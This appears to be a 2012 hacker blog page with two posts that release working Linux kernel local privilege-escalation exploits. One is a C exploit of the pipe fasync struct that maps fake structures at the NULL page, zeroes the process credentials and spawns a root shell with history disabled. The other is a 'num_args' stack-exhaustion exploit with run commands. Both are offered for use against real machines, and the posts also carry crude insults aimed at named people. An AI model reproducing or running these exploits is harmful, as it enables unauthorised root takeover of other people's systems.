Help pay for xds lawyer fees.
LR

[LOCAL x86]: FASYNC STRUCT local pipe buffer exploit (NO,Not fasync_helper() thts still NOT patched, this is fasync_struct()!,Magikal~

Posted on 5th January 2012 in Exploits

And on the 78th day, gh0d created overflows! His people were then abe, to move swiftly through the Red sea!
xd@Haxnet@efnet – cert nutter

Anyhow so… this is the fasync struct handler id pop in coz, it was kinda mine to start with but anyhow… i had alot of things wrong, so, i decided to juast fix this one :) easier!

/*
 * Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86 atm,will add x64 payload tho and redo this code abit more ;) )
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/personality.h>

// didn't really care about this i mixed 2.6.0 to 2.6.31
#define PIPE_BUFFERS 16

struct __wait_queue_head {
      int spinlock;
      void *next, *prev; // struct list_head
};

struct fasync_struct {  // bleh! didn't change from 2.6.0 to 2.6.31
	int magic;
	int fa_fd;
	struct fasync_struct *fa_next;
	void *file; // struct file
};

// this iz the w00t about 2.6.11 to 2.6.31
struct pipe_buf_operations {
        int suce;
        int *fptr[6];
};

// from 2.6.0 to 2.6.10
struct pipe_inode_info_2600_10 {
        struct __wait_queue_head wait;
        char *base; // !!!!!
        unsigned int len; // !!!
        unsigned int start; // !!!
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
};

// from 2.6.11 to 2.6.16
struct pipe_buffer_2611_16 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
};

struct pipe_inode_info_2611_16 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        struct pipe_buffer_2611_16 bufs[PIPE_BUFFERS];
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
};

// from 2.6.17 to 2.6.19
struct pipe_buffer_2617_19 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
};

struct pipe_inode_info_2617_19 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        struct pipe_buffer_2617_19 bufs[PIPE_BUFFERS];
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
};
// from 2.6.20 to 2.6.22
struct pipe_buffer_2620_22 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
};
struct pipe_inode_info_2620_22 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
        struct pipe_buffer_2620_22 bufs[PIPE_BUFFERS];
};
// AND FINALY from 2.6.23 to 2.6.31 ... :) )
struct pipe_buffer_2623_31 {
        void *suce;
        unsigned int offset, len;
        struct pipe_buf_operations *ops;
        unsigned int tapz;
        unsigned long tg;
};
struct pipe_inode_info_2623_31 {
        struct __wait_queue_head wait;
        unsigned int nrbufs, curbuf;
        void *tmp_page;
        unsigned int start;
        unsigned int readers;
        unsigned int writers;
        unsigned int waiting_writers;
        unsigned int r_counter;
        unsigned int w_counter;
        struct fasync_struct *fasync_readers;
        struct fasync_struct *fasync_writers;
        void *suce;
        struct pipe_buffer_2623_31 bufs[PIPE_BUFFERS];
};
static pid_t uid;
static gid_t gid;
static int iz_kern2600_10;
unsigned long taskstruct[1024];
void gomu_gomu_nooooo_gatling_shell(void);
int get_kern_version(void);
void map_struct_at_null(void);
void get_cur_task_and_escalate_priv(void);
void* get_null_page(void);
void error(char *s);
int is_done(int new);

static inline void *get_4kstack_top() {  // got a better syscall function then heres where ya can use it !
	void *stack;
	__asm__ __volatile__ (
	"movl $0xfffff000,%%eax ;"
	"andl %%esp, %%eax ;"
	"movl %%eax, %0 ;"
	: "=r" (stack)
	);
	return stack;
}

static inline void *get_8kstack_top() {
	void *stack;
	__asm__ __volatile__ (
	"movl $0xffffe000,%%eax ;"
	"andl %%esp, %%eax ;"
	"movl %%eax, %0 ;"
	: "=r" (stack)
	);
	return stack;
}

static inline void *get_current() {
      void *cur = *(void **)get_4kstack_top();
      if( ( (unsigned int *)cur >= (unsigned int *)0xc0000000 ) && ( *(unsigned int *)cur == 0 ) )
      return cur;
      else
      cur = *(void **)get_8kstack_top();
      return cur;
}

void map_struct_at_null() {  // this was really fkn time consuming coding...could not do it better tho really.. only now need to add for amd64 etc
      struct pipe_inode_info_2600_10 *pipe2600_10;
      struct pipe_inode_info_2611_16 *pipe2611_16;
      struct pipe_inode_info_2617_19 *pipe2617_19;
      struct pipe_inode_info_2620_22 *pipe2620_22;
      struct pipe_inode_info_2623_31 *pipe2623_31;
      struct pipe_buf_operations luffy;
      FILE *f;
      unsigned int *sct_addr;
      unsigned int sc_addr;
      char dummy;
      char sname[256], pipebuf[10];
      int ret, i;
      void *page;
      page = get_null_page();
      int version = get_kern_version();
      luffy.suce = 1;
      for(i = 0; i < 6; i++)
      luffy.fptr[i] = (int *)get_cur_task_and_escalate_priv;
      if(version >= 2600 && version <= 2610) {
      iz_kern2600_10 = 1;
      // as u see, his imperial majesty spender haz alwayz good trickz
      f = fopen("/proc/kallsyms", "r");
      if (f == NULL) {
      f = fopen("/proc/ksyms", "r");
      if (f == NULL) {
      error("[-] cant open /proc/{kall,k}syms for looking after teh sys_call_table addr!");
      }
      }
      ret = 0;
      while(ret != EOF) {
     ret = fscanf(f, "%p %c %s\n", (void **)&sct_addr, &dummy, sname);
     if (ret == 0) {
     fscanf(f, "%s\n", sname);
     continue;
     }
     if (!strcmp("sys_call_table", sname)) {
     printf("\t\t+ sys_call_table is at %p\n",(void *)sct_addr);
     fclose(f);
     }
     }
     if(f != NULL) {
     fclose(f);
     error("[-] cant get sys_olduname addr!");
     }
     sc_addr = (unsigned int) (sct_addr + __NR_olduname*sizeof(int));
     pipe2600_10 = (struct pipe_inode_info_2600_10 *) page;
	      memcpy(pipebuf, (char *) &sc_addr, sizeof(int));
	      pipe2600_10->base = pipebuf;
	      pipe2600_10->len = 0;
	      pipe2600_10->start = 0;
	      pipe2600_10->writers = 1;
	      printf("\t\t+ Structs for kernels 2.6.0 => 2.6.10 were mapped\n");
      } else if(version >= 2611 && version <= 2616) {
            pipe2611_16 = (struct pipe_inode_info_2611_16 *) page;
	      pipe2611_16->writers = 1;
	      pipe2611_16->nrbufs = 1;
	      for(i = 0; i < PIPE_BUFFERS; i++)
	            pipe2611_16->bufs[i].ops = &luffy;
	      printf("\t\t+ Structs for kernels 2.6.11 => 2.6.16 were mapped\n");
      }
      else if(version >= 2617 && version <= 2619)
      {
            pipe2617_19 = (struct pipe_inode_info_2617_19 *) page;
            pipe2617_19->readers = 1;
	      pipe2617_19->nrbufs = 1;
	      for(i = 0; i < PIPE_BUFFERS; i++)
	            pipe2617_19->bufs[i].ops = &luffy;
	      pipe2617_19->wait.next = &pipe2617_19->wait.next;
            pipe2617_19->wait.spinlock = 1;
            printf("\t\t+ Structs for kernels 2.6.16 => 2.6.19 were mapped\n");
      }
      else if(version >= 2620 && version <= 2622)
      {
            pipe2620_22 = (struct pipe_inode_info_2620_22 *) page;
            pipe2620_22->readers = 1;
	      pipe2620_22->nrbufs = 1;
	      for(i = 0; i < PIPE_BUFFERS; i++)
	            pipe2620_22->bufs[i].ops = &luffy;
	      pipe2620_22->wait.next = &pipe2620_22->wait.next;
            pipe2620_22->wait.spinlock = 1;
            printf("\t\t+ Structs for kernels 2.6.20 => 2.6.22 were mapped\n");
      }
      else if(version >= 2623 && version <= 2631)
      {
            pipe2623_31 = (struct pipe_inode_info_2623_31 *) page;
            pipe2623_31->readers = 0;
	      pipe2623_31->nrbufs = 0;
	      for(i = 0; i < PIPE_BUFFERS; i++)
	            pipe2623_31->bufs[i].ops = &luffy;
	      pipe2623_31->wait.next = &pipe2623_31->wait.next;
            pipe2623_31->wait.spinlock = 1;
            printf("\t\t+ Structs for kernels 2.6.23 => 2.6.31 were mapped\n");
      }
      else
            error("[-] exploit not developped for ur kernel!");
}

int get_kern_version(void) { // return something like 2600 for kernel 2.6.0, 2619 for kernel 2.6.19 ...
    struct utsname buf;
    char second[2],third[3];
    int version = 2000;
    if(uname(&buf) < 0)
    error("can't have ur k3rn3l version. this box isn't for today :( \n");
    sprintf(second, "%c", buf.release[2]);
    second[1] = 0;
    version += atoi(second) * 100;
    third[0] = buf.release[4];
    if(buf.release[5] >= '0' || buf.release[5] <= '9') {
            third[1] = buf.release[5];
            third[2] = 0;
            version += atoi(third);
    }
    else
    {
            third[1] = 0;
            version += third[0] - '0';
    }
    printf("\t\t+ Kernel version %i\n", version);
    return version;
}

//thx spender/julienee
void* get_null_page(void) {  // OK now lets try with PAGE_SIZE (Mod xd)
	void *page;
	if ((personality(0xffffffff)) != PER_SVR4) {
	page = mmap(PAGE_SIZE, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
	if (page != NULL) {
	page = mmap(PAGE_SIZE, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
	if (page != NULL) {
	error("[!] This box haz a mmap_min_addr-like stuff!");
	}
		}
	      else
	      {
		      if (mprotect(PAGE_SIZE, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0)
		      {
		            free(page);
			      error("[-] can't mprotect my null page!");
			}
		}
	}
	else
	{                  // so we just switched the order really ;)  -xd (nice eh)
	      page = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
		if (page != NULL)
		{
			page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
			if (page != NULL)
			{
				error("[-] this box haz a mmap_min_addr-like stuff!");
			}
		}
	      else
	      {
		      if (mprotect(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) // ... or not ! :(
		      {
		            free(page);
			      error("[-] can't mprotect my null page!");
			}
		}
	}
	printf("\t\t+ Got null page\n");
	return page;
}

void gomu_gomu_nooooo_gatling_shell(void) {
      char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL };
      char *envp[] = { "TERM=linux", "PS1=blackbird\\$  ", "BASH_HISTORY=/dev/null",
                   "HISTORY=/dev/null", "history=/dev/null",
                   "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };
      execve("/bin/sh", argv, envp);
      error("[-] Unable to spawn a rootshell ..");
}

int is_done(int new) {
	static int done = 0;
	if (done == 1)
	return (1);
	done = new;
}
volatile int done = 0;
void get_cur_task_and_escalate_priv() {
	uint32_t	i;
	uint32_t	*task = get_current();
	uint32_t 	*cred = 0;
	for(i=0; i<0x1000; i++)
      {
           if( (task[i] == task[i+1]) && (task[i+1] == task[i+2]) && (task[i+2] == task[i+3]))
           {
                  task[i] = 0;
                  task[i+1] = 0;
                  task[i+2] = 0;
                  task[i+3] = 0;
                  is_done(1);
                  return;
           }
      }
	for (i = 0; i<1024; i++)
	{
		taskstruct[i] = task[i];
		cred = (uint32_t *)task[i];
		if (cred == (uint32_t *)task[i+1] && cred > (uint32_t *)0xc0000000) {
			cred++;
	        	if (cred[0] == uid && cred[1] == gid
		            && cred[2] == uid && cred[3] == gid
		            && cred[4] == uid && cred[5] == gid
		            && cred[6] == uid && cred[7] == gid)
		        {
		         	cred[0] = cred[2] = cred[4] = cred[6] = 0;
		                cred[1] = cred[3] = cred[5] = cred[7] = 0;
				break;
		        }
		}
	}
	is_done(1);
}

int main(int ac, char **av) {
	int fd[2];
	int pid;
	char tapz[4];
	uid = getuid();
	gid = getgid();
	setresuid(uid, uid, uid);
	setresgid(gid, gid, gid);
	map_struct_at_null();
	//while (1) {
	pid = fork();
	if (pid == -1) {
	perror("fork");
	return (-1);
	}
	if (pid) {
	char path[1024];
			sprintf(path, "/proc/%d/fd/3", pid);  // was 4,but we all know 3 is there 100% :> -xd
			while (!is_done(0))
			{
				fd[0] = open(path, O_RDWR);
				if (fd[0] != -1)
				{
					if(iz_kern2600_10)
                              {
                                    memcpy(tapz, (char *)get_cur_task_and_escalate_priv, sizeof(int));
                                    write(fd[0], tapz, 4);
                              }
					close(fd[0]);
				}
			}
			if(iz_kern2600_10)
                  {
                        syscall(__NR_olduname, NULL);
                  }
                  printf("\t\t+ Got root!\n");
			gomu_gomu_nooooo_gatling_shell();
			return (0);
		}
		while (!is_done(0))
		{
			if (pipe(fd) != -1)
			{
				close(fd[0]);
				close(fd[1]);
			}
		}
	}

Enjoy.. Thx to many on this one, and, it has a new method so, try it, specially on centos and rhel ;>…just go hard and, you can add ya own pipe buffers but, i suggest play with the calls to asm…cheers.
XD @ #HAXNET @ Efnet @ Life-on-irc

[356dayer :P]: num_args.c – WORKING localroot leaked as an exploit-form but was coded ages ago and modded,so it has been archived here at CC

Posted on 5th January 2012 in Exploits

Oki just a quicky for yas..but setup to run as proper bash shell spawned,wich is very kewl, as it was given thru a veryyyy leet dude,…yet its olkd…anyhow, let me know how it goes for thee :P and, what numbers work in thenumargs for your kernel..ya may want to play with that define alittle ;)
xd

#HAXNET,#DARKNET,#HAXSHELLS,#MAGICSHELLS,#ALBASHELLS @ EFNET NETWORK SOON ALSO ON UNDERNET PERHAPS ALTHO FREENODE SEEMS ABIT NICER..meh we see!
and, one Greet to pm ,only coz, i greet the other fkrs daily :P lol… joking again well…not reallllly..but, ya will love me I hope,oh yes, the first ‘manpic’ of me was found…good job to whoever did find… as, that was only one of a few but, yea…. they been around 2yrs even, 3 nearly..,anyhow..here, since you prolly have seen it, i willshow you, a true criminal..
http://i.imgur.com/j5DzX.jpg
Ohhh you wanted this thing here…..

/*
   known for over two years, fixed in grsec and also in SOME x86_64 but still works.... play with shell spawn abit
   bug is due to a bad limit on the max size of the stack for 32bit apps
   on a 64bit OS.   Instead of them being limited to 1/4th of a 32bit
   address space, they're limited to 1/4th of a 64bit address space -- oops!
   in combination with vanilla ASLR, it triggers a BUG() as the stack
   tries to expand around the address space when shifted
   Below mmap_min_addr you say? uh oh! ;)
   Reported to Ted Tso in December 2009
   Linus today (Aug 13 2010) silently fixes tangential issue:
   http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=320b2b8de12698082609ebbc1a17165727f4c893 <-- bug here,was d0s,can be dos again ,just make it 0xdeadbeef and your d0s will run fine locally on any 64/x86_64.
   The second bug here is that the memory usage explodes within the
   kernel from a single 128k allocation in userland
   The explosion of memory isn't accounted for by any task so it won't
   be terminated by the OOM killer
   curious what actual vuln was involved that they were trying
   to silently fix, as I don't think it's the one below
   clobbering data in a suid app by growing the stack into the mapping
   for the image? ;) 

   ulimit -s unlimited
   ./64

   SELinux is here to save us though with its fine-grained controls!
   Wait, it doesn't?
   Clearly the solution is to throw a buggy KVM on top of it
   Not enough?  Ok, we'll throw in an extra SELinux, that'll really
   throw those hackers off when they use the same exact exploit on the
   host as they do on the guest!
   COMMON CRITERIA HERE I COME!
xd says , fuck ur common whatever but, i do love u spenda , but, now what was this crippled for...silly execve cripples are only reasons to makesure it is atleast, used as a pentest kit...and, i do believe stragely this was submitted to AB also....but notsure if theyre used it...however, i believe they may have, and, this gives it abit more confidence... thx to my best ever friends online and theyre support , #Haxnet ,and the Ops from it, also #Darknet,and ofcourse Magicshells.com, for theyre continued support :)  thx iceman ;)  your a top guy sometimes.
....rambles abit more...now the heroin is kickin in...ill bbl....k....bye....now, any good finds on this like, ya can remove the per_svr_personality easily and this would change it, also, id be playin about with HOW the shell is executed ;)  anyhow, i have added 1 line then left it commented... but, this is a working pvt leak.... well, it wwas 'bought' by idiots, who now realise they paid for shit nice friends from haxnet and other channels, wrote!
fark u FD Lists still,valdis/DR/Jono,all still suckarsees,oh and did i mention zx2c :P  lol joking man! hes about one of rare ice ppl there,aswith George,Richard,even Valdis is ok :s sometimes.. but, anyhow, love to all who rooting, and, makesure any kernels etc, like, any offsetting, is addede and PMd to me..like, kernel versions etc..wich, i may try to play with... it is a very nice bug if u read its committ... kinda, 2in1er..better :s... enjoy...edited post by xd of haxnet ... f33r my arse,on your face.retard.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/personality.h>

#define NUM_ARGS 24550 // leave this alone unless you want this to become a 64bit d0s

int main(void) {
        char **args;
        char *str;
        int i;
        /* not needed, just makes it easier for machines with less RAM */
        personality(PER_LINUX32_3GB);
        str = malloc(128 * 1024);
        memset(str, 'A', 128 * 1024 - 1);
        str[128 * 1024 - 1] = '\0';
        args = malloc(NUM_ARGS * sizeof(char *));
        for (i = 0; i < (NUM_ARGS - 1); i++)
        args[i] = str;
        args[i] = NULL;
        //setuid(0);  // hrm....worth a shot ;)  depends how ya compi8le it...-O2 ;)  etc... who knowa... also, changed line below so works now.
        execve("/bin/sh", args);
        printf("[-] execve failed\n");
        return 0;
}

__EOF__

Now finally, i can go try Bsd v9!
fuckazzzzzzzzzzzzzz
pimps to my homie,paul and, we will r00l all very soon :>